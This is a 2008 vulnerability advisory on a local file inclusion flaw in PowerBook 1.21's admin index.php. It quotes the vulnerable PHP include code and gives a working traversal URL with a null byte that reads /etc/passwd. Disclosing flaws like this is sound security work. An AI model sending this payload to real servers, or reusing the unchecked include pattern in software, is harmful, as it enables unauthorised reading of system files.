PowerBook 1.21 (index.php page) Local File Inclusion Vulnerability

2008-03-24 00:00:00

[DSECRG-08-019] Digital Security Research Group [DSecRG] Advisory


Application: PowerBook
Versions Affected: 1.21
Vendor URL: http://www.powerscripts.org/
Bug: Local File Include
Exploits: YES
Reported: 01.02.2008
Vendor Response: none
Solution: none
Date of Public Advisory: 24.03.2008
Author: Digital Security Research Group [DSecRG] (research [at] dsec [dot] ru)



Description
***********

Local File Include vulnerability found in script pb_inc/admincenter/index.php

Non-authentication user can directly access to this script.

To exploit this vulnerability REGISTER_GLOBALS option must be ON in php config file.


Code
****
#################################################

if (!$page) {
$page = "home";
}

$page .= ".inc.php";

if(file_exists($page) == false) {
echo "
<div align=\"center\">Sorry, the page <b>$page</b> does not exist!</div>
";
} else {
include("$page");
}

#################################################


Example:

http://[server]/[installdir]/pb_inc/admincenter/index.php?page=../../../../../../../../../../../../../etc/passwd%00



About
*****

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testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.

Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories

and whitepapers posted regularly on our website.

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Fixes

No fixes

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